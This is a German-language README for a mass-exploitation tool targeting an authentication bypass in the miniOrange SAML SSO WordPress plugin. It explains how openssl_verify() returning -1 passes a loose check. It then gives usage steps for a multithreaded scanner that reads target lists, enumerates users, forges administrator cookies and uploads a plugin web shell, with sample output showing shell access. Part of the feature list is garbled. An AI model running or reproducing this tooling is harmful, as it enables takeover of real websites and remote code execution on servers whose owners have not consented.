
SAML Single Sign On <= 5.4.4 - Nicht authentifizierte Authentifizierungsumgehung über den Parameter SAMLResponse
SAML Single Sign On <= 5.4.4 - Nicht authentifizierte Authentifizierungsumgehung über den SAMLResponse-Parameter
Proof-of-Concept-Exploit
Fehlerhafte Signatur → `openssl_verify()` gibt `-1` zurück → PHP-Loose-Cast auf `true` → `wp_set_auth_cookie()` als Administrator
| Feld | Detail |
|---|---|
| CVE-ID | CVE-2026-15981 |
| Betroffenes Plugin | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| Betroffene Versionen | Alle Versionen bis einschließlich 5.4.4 |
| Typ | Nicht authentifizierte Authentifizierungsumgehung |
| CWE | CWE-287: Fehlerhafte Authentifizierung / CWE-305: Authentifizierungsumgehung durch primäre Schwachstelle |
| CVSS 3.1 | 9.8 KRITISCH — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentifizierung | Keine erforderlich |
Das Plugin SAML Single Sign On – SSO Login für WordPress ist in allen Versionen bis einschließlich 5.4.4 anfällig für eine Authentifizierungsumgehung. Dies liegt daran, dass die Funktion mo_saml_validate_signature() eine lose boolesche Prüfung auf dem rohen Tri-State-Integer durchführt, den PHP's openssl_verify() zurückgibt, wodurch ein Fehler-Rückgabewert von -1 als truthy ausgewertet und daher als erfolgreiche Signaturprüfung behandelt wird.
Dies ermöglicht es nicht authentifizierten Angreifern, sich als beliebige vorhandene WordPress-Benutzer, einschließlich Administratoren, anzumelden, indem sie eine manipulierte SAMLResponse übermitteln, die eine angreiferkontrollierte NameID und einen absichtlich fehlerhaften Signaturwert enthält, der einen OpenSSL-Verarbeitungsfehler auslöst — wodurch die Verifizierung vollständig umgangen wird und wp_set_auth_cookie() für das Zielkonto aufgerufen wird.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
Der Fix ist trivial — if ($result === 1) statt if ($result) — doch die Auswirkung der Schwachstelle ist eine vollständige Authentifizierungsumgehung.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login-Weiterleitungen und extrahiert IdP-Basis-URLslxml</Issuer> gemäß SAML-Spezifikationopenssl_verify() = -1 auszulösenwordpress_logged_in_*-Cookie/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD-Signatur im AntworttextPython >= 3.8
pip install requests lxml
lxmlist erforderlich für die korrekte Exclusive-C14N-Kanonisierung der SAML-Assertion.
python CVE-2026-15981.py
Sie werden zu Folgendem aufgefordert:
| Abfrage | Beschreibung | Standard |
|---|---|---|
| Zieldatei | Pfad zu einer Textdatei mit einem Ziel pro Zeile | list.txt |
| Threads | Anzahl der parallelen Worker (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Eine URL pro Zeile. HTTP wird standardmäßig verwendet, wenn kein Schema angegeben ist.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
Jedes Ziel durchläuft 7 beschriftete Phasen:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...